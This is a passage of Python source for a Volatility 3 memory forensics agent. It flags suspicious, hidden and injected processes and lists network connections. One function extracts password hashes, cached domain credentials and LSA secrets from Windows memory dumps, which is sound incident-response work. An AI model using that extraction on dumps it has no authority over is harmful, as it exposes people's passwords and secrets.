|
||||
if len(parts) >= 3 and parts[0].isdigit():
|
||||
cmdlines.append({
|
||||
"pid": int(parts[0]),
|
||||
"process": parts[1],
|
||||
"cmdline": parts[2],
|
||||
})
|
||||
return cmdlines
|
||||
|
||||
|
||||
def dump_credentials(memory_dump):
|
||||
"""Extract cached credentials using hashdump and lsadump."""
|
||||
results = {}
|
||||
stdout, _, rc = run_vol3(memory_dump, "windows.hashdump")
|
||||
if rc == 0:
|
||||
results["hashdump"] = stdout
|
||||
stdout, _, rc = run_vol3(memory_dump, "windows.cachedump")
|
||||
if rc == 0:
|
||||
results["cachedump"] = stdout
|
||||
stdout, _, rc = run_vol3(memory_dump, "windows.lsadump")
|
||||
if rc == 0:
|
||||
results["lsadump"] = stdout
|
||||
return results
|
||||
|
||||
|
||||
def scan_with_yara(memory_dump, yara_file=None, yara_rule=None, pid=None):
|
||||
"""Scan memory with YARA rules."""
|
||||
extra = ""
|
||||
if yara_file:
|
||||
extra += f"--yara-file {yara_file}"
|
||||
elif yara_rule:
|
||||
extra += f'--yara-rules "{yara_rule}"'
|
||||
if pid:
|
||||
extra += f" --pid {pid}"
|
||||
stdout, _, rc = run_vol3(memory_dump, "yarascan.YaraScan", extra)
|
||||
return stdout if rc == 0 else ""
|
||||
|
||||
|
||||
def check_suspicious_processes(pslist_procs):
|
||||
"""Check process list for common suspicious indicators."""
|
||||
findings = []
|
||||
expected_parents = {
|
||||
"svchost.exe": ["services.exe"],
|
||||
"csrss.exe": ["smss.exe"],
|
||||
"lsass.exe": ["wininit.exe"],
|
||||
"smss.exe": ["System"],
|
||||
}
|
||||
name_counts = {}
|
||||
for p in pslist_procs:
|
||||
name = p["name"].lower()
|
||||
name_counts[name] = name_counts.get(name, 0) + 1
|
||||
|
||||
if name_counts.get("lsass.exe", 0) > 1:
|
||||
findings.append({"severity": "CRITICAL",
|
||||
"finding": "Multiple lsass.exe instances detected"})
|
||||
|
||||
misspellings = {
|
||||
"scvhost.exe": "svchost.exe", "svch0st.exe": "svchost.exe",
|
||||
"lssas.exe": "lsass.exe", "csrs.exe": "csrss.exe",
|
||||
}
|
||||
for p in pslist_procs:
|
||||
if p["name"].lower() in misspellings:
|
||||
findings.append({
|
||||
"severity": "HIGH",
|
||||
"finding": f"Misspelled process: {p['name']} (PID {p['pid']}) "
|
||||
f"mimicking {misspellings[p['name'].lower()]}",
|
||||
})
|
||||
return findings
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
print("=" * 60)
|
||||
print("Memory Forensics Agent (Volatility 3)")
|
||||
print("Process analysis, injection detection, credential extraction")
|
||||
print("=" * 60)
|
||||
|
||||
dump_file = sys.argv[1] if len(sys.argv) > 1 else None
|
||||
|
||||
if dump_file and os.path.exists(dump_file):
|
||||
print(f"\n[*] Analyzing memory dump: {dump_file}")
|
||||
print(f"[*] Size: {os.path.getsize(dump_file) / (1024**3):.1f} GB")
|
||||
|
||||
print("\n--- OS Identification ---")
|
||||
os_info = get_os_info(dump_file)
|
||||
print(f" OS: {os_info['os']}")
|
||||
|
||||
print("\n--- Process Analysis ---")
|
||||
procs = list_processes(dump_file)
|
||||
print(f" Active processes: {len(procs)}")
|
||||
suspicious = check_suspicious_processes(procs)
|
||||
for s in suspicious:
|
||||
print(f" [{s['severity']}] {s['finding']}")
|
||||
|
||||
print("\n--- Hidden Process Detection ---")
|
||||
psscan = scan_hidden_processes(dump_file)
|
||||
hidden = find_hidden_processes(procs, psscan)
|
||||
if hidden:
|
||||
for h in hidden:
|
||||
print(f" [!] Hidden process: {h['name']} PID={h['pid']}")
|
||||
else:
|
||||
print(" No hidden processes detected")
|
||||
|
||||
print("\n--- Code Injection Detection ---")
|
||||
injections = detect_code_injection(dump_file)
|
||||
print(f" Injected regions: {len(injections)}")
|
||||
for inj in injections[:5]:
|
||||
print(f" [!] PID {inj['pid']} ({inj.get('process', '')}): {inj.get('protection', '')}")
|
||||
|
||||
print("\n--- Network Connections ---")
|
||||
conns = get_network_connections(dump_file)
|
||||
established = [c for c in conns if "ESTABLISHED" in c.get("state", "")]
|
||||
print(f" Total: {len(conns)}, Established: {len(established)}")
|
||||
for c in established[:10]:
|
||||
print(f" {c.get('owner', '?')} (PID {c.get('pid', '?')}): "
|
||||
f"{c['local_addr']}:{c['local_port']} -> "
|
||||
f"{c['foreign_addr']}:{c['foreign_port']}")
|
||||
else:
|
||||
print(f"\n[DEMO] Usage: python agent.py <memory.dmp>")
|
||||
print("[*] Provide a memory dump for forensic analysis.")
|
||||
Reference in New Issue
Block a user